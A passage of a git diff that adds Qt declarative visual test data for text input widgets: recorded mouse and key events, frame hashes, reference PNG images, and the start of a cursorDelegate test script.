+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -14; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -13; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9248
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -11; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -10; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9264
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -8; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -7; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9280
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -6; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -5; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9296
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9312
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 1; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 3; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9328
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 4; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9344
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 7; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 8; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9360
+ hash: "a085e2633649f0328f109bc4143eaccc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 10; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 11; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9376
+ hash: "fe89231a1ac7f48eee7cea14167b6616"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 12; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 14; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9392
+ hash: "fe89231a1ac7f48eee7cea14167b6616"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 15; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 17; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9408
+ hash: "fe89231a1ac7f48eee7cea14167b6616"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 21; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9424
+ hash: "e816757e030c8927d6721295f8685162"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9440
+ hash: "48f3a7d217ff85ad6088e18c1b88d6d7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9456
+ hash: "48f3a7d217ff85ad6088e18c1b88d6d7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 38; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 39; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9472
+ hash: "6cb50f458ba606cc4204727a02e9191b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 43; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9488
+ hash: "6cb50f458ba606cc4204727a02e9191b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 48; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 50; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9504
+ hash: "936d1a2ceed861a48fb3dd0c54cb0982"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 51; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 53; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9520
+ hash: "936d1a2ceed861a48fb3dd0c54cb0982"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9536
+ hash: "936d1a2ceed861a48fb3dd0c54cb0982"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 56; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9552
+ hash: "9fb9dbff35b91d65e1e7ce569baede55"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 61; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 64; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9568
+ hash: "9fb9dbff35b91d65e1e7ce569baede55"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 67; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9584
+ hash: "78038f8df4ef17a164172c5bce16527d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 74; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9600
+ hash: "b390e534fe43678ff031ec9de32b50d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9616
+ image: "usingLineEdit.10.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9632
+ hash: "b390e534fe43678ff031ec9de32b50d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9648
+ hash: "b390e534fe43678ff031ec9de32b50d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9664
+ hash: "94fa3848acc33accfb607ce31029f06d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9680
+ hash: "b0f808e85cc5721473da7cd84b1987dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 89; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9696
+ hash: "7680aca6b9feccc7e73efa79c1473ce8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 92; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9712
+ hash: "ab79f5095d60f5cef526a074ef6d4e96"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 96; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9728
+ hash: "35c718664fc8e817e26054c307f908f9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9744
+ hash: "23267fdc8202daba400140e51f5e3bdc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 102; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9760
+ hash: "0b2765ae503f0194e6e526ea6f9ed8f9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 105; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9776
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 109; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 110; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9792
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9808
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9824
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 113; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9840
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9856
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 9872
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9888
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9904
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 117; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9920
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9936
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 9952
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9968
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 9984
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10000
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10016
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10032
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10048
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10064
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10080
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10096
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10112
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10128
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10144
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10160
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10176
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10192
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10208
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10224
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10240
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 122; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10256
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10272
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10288
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10304
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10320
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10336
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10352
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10368
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10384
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10400
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10416
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10432
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10448
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10464
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10480
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10496
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10512
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10528
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10544
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10560
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10576
+ image: "usingLineEdit.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10608
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10624
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10640
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10656
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10672
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10688
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10704
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10720
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10736
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10752
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10768
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10784
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10800
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10816
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10832
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10848
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10864
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10880
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10896
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10912
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10928
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10944
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10960
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10976
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 10992
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11008
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11024
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11040
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11056
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11072
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11088
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11104
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11120
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11136
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11152
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11168
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11184
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11200
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11216
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11232
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11248
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+ Frame {
+ msec: 11264
+ hash: "6f6154528c95da216e1f3830de000195"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.0.png
new file mode 100644
index 00000000..18dd55ea
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.1.png
new file mode 100644
index 00000000..9cc8b85c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.2.png
new file mode 100644
index 00000000..f7c23e2f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.3.png
new file mode 100644
index 00000000..a5bd6cce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.4.png
new file mode 100644
index 00000000..fdcdf88c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.5.png
new file mode 100644
index 00000000..89fd161f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.qml
new file mode 100644
index 00000000..e14fb826
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/cursorDelegate.qml
@@ -0,0 +1,1551 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 48
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 64
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 80
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 96
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 112
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 128
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 144
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 160
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 176
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 192
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 208
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 224
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 240
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 256
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 272
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 288
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 304
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 320
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 336
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 352
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 368
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 384
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 400
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 416
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 432
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Frame {
+ msec: 448
+ hash: "ea218f136c6c7a70f2a4da569fae92b0"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 464
+ hash: "e0cce7628c07ad989161e77d87f7f511"
+ }
+ Frame {
+ msec: 480
+ hash: "e0cce7628c07ad989161e77d87f7f511"
+ }
+ Frame {
+ msec: 496
+ hash: "e0cce7628c07ad989161e77d87f7f511"
+ }
+ Frame {
+ msec: 512
+ hash: "e0cce7628c07ad989161e77d87f7f511"
+ }
+ Frame {
+ msec: 528
+ hash: "b86c442f4a561503d34238465fd20aec"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "36f5f4397549f151ebfc0295ca33f55f"
+ }
+ Frame {
+ msec: 560
+ hash: "1cc9682b652e65b547bbeb2b37f9d1e7"
+ }
+ Frame {
+ msec: 576
+ hash: "b3874acb58643e1bb70a0b579e517526"
+ }
+ Frame {
+ msec: 592
+ hash: "152b962f8a00b68459df073962a1a947"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 608
+ hash: "891f86211cdc5050881421613b199939"
+ }
+ Frame {
+ msec: 624
+ hash: "5862b5e1ed2d1905357adbc5a7f2ade9"
+ }
+ Frame {
+ msec: 640
+ hash: "2fd895e688fa1c8b2f0bbf6e7defdb2a"
+ }
+ Frame {
+ msec: 656
+ hash: "66c31658d38604b3e2d424aea15b715d"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 672
+ hash: "df5331bc225d5e6f443812d489b19324"
+ }
+ Frame {
+ msec: 688
+ hash: "6ca6367bb314804598b6257fd8b49d28"
+ }
+ Frame {
